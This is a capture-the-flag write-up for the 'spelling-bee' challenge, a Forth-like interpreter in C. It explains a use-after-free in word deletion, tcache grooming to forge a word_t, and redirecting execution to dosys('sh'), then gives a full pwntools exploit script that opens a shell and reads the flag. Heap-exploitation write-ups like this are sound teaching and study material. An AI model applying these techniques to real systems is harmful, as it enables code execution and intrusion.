spelling-bee
b01lersc
Task: a tiny Forth interpreter with user-defined words, deletion, and a startup leak of dosys(). Solution: exploit a use-after-free in forget, groom tcache to reclaim a stale word_t as name chunks, forge a fake word_t, and redirect execution to dosys(\"sh\").
$ ls tags/ techniques/
spelling-bee — b01lersc
Description
The original organizer description was not preserved in the task directory.
We are given a small Forth-like interpreter implemented in C. The goal is to study how user-defined words are compiled and deleted, then turn a memory-management bug into code execution and read the flag.
Analysis
The core runtime object is:
typedef struct word { long flags; long length; long referenced_by; void (*code)(void *); void *param; } word_t;
Dictionary entries are stored separately as:
typedef struct dictionary { char *name; word_t *word; struct dictionary *next; bool alloc_name; } dict_t;
When the interpreter compiles a new word, it appends raw word_t * pointers into compile_def. There is no indirection layer: compiled words directly reference the original word_t objects.
That would still be safe if deletion respected ownership, but delete_word() does not check referenced_by before freeing the target word. So if word a was compiled to call word b, then forget b frees b even though a still contains a pointer to b.word_t. This is a classic dangling-pointer bug and gives us a use-after-free primitive.
The challenge also prints the runtime address of dosys() at startup:
printf("%p\n", dosys);
That immediately leaks the PIE base, so we can compute both dosys and the address of g_stack.
The heap layout is especially convenient:
sizeof(word_t)lands in the0x30tcache bin.sizeof(dict_t)also lands in the0x30tcache bin.- The initial
compile_defallocation for a freshly compiled word lands in the0x90tcache bin.
The exploit relies on careful tcache grooming. We create several helper words, then compile b, and then compile a so that a contains a stale raw pointer to b.word_t. After that, we free enough same-size chunks to control tcache counts. The important part is that forgetting b places b.word_t into the 0x30 tcache bin while b.dict_t spills instead of reclaiming the same slot, preserving the stale chunk for later reuse.
Once that freed b.word_t chunk is available, we reclaim it as a short name allocation three times and progressively overwrite the stale structure in place.
Forgery plan
We choose a writable g_stack cell whose low six bytes contain no whitespace or NUL, because tokens are parsed with %s. Then we perform three reclaim stages:
- Stage A: write the low bytes of
paramso the forgedword_tpoints at the choseng_stackcell. - Stage B: write the low bytes of
dosysintocodeand zero one remaining byte. - Stage C: write the low bytes of
dosysagain and zero the last remainingcodebyte.
After these writes, the dangling pointer inside a now resolves to a fake word_t whose code is dosys and whose param points into g_stack.
Finally, pushing decimal 26739 places 0x6873 on the selected stack cell, which is the string "sh" in little endian. Calling the stale word a therefore executes dosys("sh"), which reaches system("sh").
From the resulting shell, cat flag* prints the flag.
Solution
The exploit script below implements the full attack:
#!/usr/bin/env python3 from pwn import * HOST = "spelling-bee.opus4-7.b01le.rs" PORT = 8443 DOSYS_OFF = 0x146B GSTACK_OFF = 0x5100 BAD = set(b" \t\r\n\x0b\x0c\x00") def good(bs: bytes) -> bool: return all(b not in BAD for b in bs) def pick_stack_target(base: int): g_stack = base + GSTACK_OFF for off in range(8, 8 * 64, 8): addr = g_stack + off low6 = p64(addr)[:6] if good(low6): return addr, off // 8 raise RuntimeError("no usable g_stack cell") def main(): io = remote(HOST, PORT, ssl=True) io.recvuntil(b"implement them for me?\n") dosys = int(io.recvline().strip(), 16) base = dosys - DOSYS_OFF target, cell = pick_stack_target(base) log.info(f"dosys = {hex(dosys)}") log.info(f"base = {hex(base)}") log.info(f"target = {hex(target)} (cell {cell})") n1 = b"A" * 24 + b"B" * 8 + p64(target)[:6] n2 = b"A" * 24 + p64(dosys)[:6] + b"X" n3 = b"A" * 24 + p64(dosys)[:6] assert len(n1) == 38 and good(n1) assert len(n2) == 31 and good(n2) assert len(n3) == 30 and good(n3) tokens = [ b":", b"f1", b";", b":", b"f2", b";", b":", b"f3", b";", b":", b"f4", b";", b":", b"f5", b";", b":", b"b", b";", b":", b"a", b"b", b";", b"forget", b"f1", b"forget", b"f2", b"forget", b"f3", b"forget", b"b", b":", n1, b";", b"forget", b"f4", b":", b"t1", b"1", b";", b"forget", b"t1", b"forget", n1, b":", n2, b";", b"forget", b"f5", b":", b"t2", b"1", b";", b"forget", b"t2", b"forget", n2, b":", n3, b";", ] for _ in range(cell - 1): tokens.append(b"0") tokens.append(str(0x6873).encode()) tokens.append(b"a") io.send(b" ".join(tokens) + b"\n") io.sendline(b"cat flag*; exit") print(io.recvrepeat(2).decode(errors="ignore")) if __name__ == "__main__": main()
Step-by-step
- Read the startup leak and compute the PIE base from
dosys. - Pick a usable
g_stackcell whose address bytes are safe inside a token. - Build word
b, then wordathat referencesb, soastores a raw pointer tob.word_t. - Free helper chunks to shape the
0x30tcache state. forget band leave a danglingword_t *insidea.- Reclaim the freed
b.word_tchunk as short name allocations three times, forgingparamand thencode. - Push
26739so the chosen stack cell contains"sh". - Invoke
a, which now dispatches to forgeddosys("sh"). - From the shell, run
cat flag*.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md